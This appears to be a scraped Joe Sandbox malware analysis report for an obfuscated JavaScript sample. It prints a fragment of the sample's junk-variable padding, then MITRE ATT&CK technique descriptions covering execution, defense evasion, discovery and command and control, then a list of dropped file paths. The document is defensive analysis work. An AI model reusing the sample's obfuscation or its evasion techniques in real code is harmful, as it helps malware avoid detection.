1449	jecreck = "m";
1450	jecreck = "n";
1451	jecreck = "C";
1452	jecreck = "e";
1453	jecreck = "p";
1454	jecreck = "H";
1455	jecreck = "e";
1456	jecreck = "m";
1457	fktbhkjpl = "w";
1458	fktbhkjpl = "l";
1459	fktbhkjpl = "T";
1460	fktbhkjpl = "v";
1461	fktbhkjpl = "d";
1462	fktbhkjpl = "z";
1463	fktbhkjpl = "z";
1464	fktbhkjpl = "k";
1465	fktbhkjpl = "a";
1466	fktbhkjpl = "g";
1467	fktbhkjpl = "C";
1468	fktbhkjpl = "h";
1469	fktbhkjpl = "g";
1470	fktbhkjpl = "y";
1471	fktbhkjpl = "n";
1472	fktbhkjpl = "M";
1473	fktbhkjpl = "W";
1474	fktbhkjpl = "q";
1475	fktbhkjpl = "Y";
1476	fktbhkjpl = "J";
1477	fktbhkjpl = "r";
1478	fktbhkjpl = "s";
1479	fktbhkjpl = "X";
1480	fktbhkjpl = "b";
1481	fktbhkjpl = "y";
1482	fktbhkjpl = "B";
1483	fktbhkjpl = "T";
1484	fktbhkjpl = "d";
1485	fktbhkjpl = "g";
1486	ycuns = "Z";
1487	ycuns = "M";
1488	ycuns = "G";
1489	ycuns = "R";
1490	ycuns = "o";
1491	ycuns = "v";
1492	ycuns = "k";
1493	ycuns = "i";
1494	ycuns = "e";
1495	ycuns = "V";
1496	ycuns = "B";
1497	ycuns = "h";
1498	ycuns = "K";
1499	ycuns = "Y";
1500	vduhs ( );	vduhs() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3129912127106722813.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ab95dbd8-12b2-401f-adc0-1ce84bbc7b5a.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
3129912127106722813.js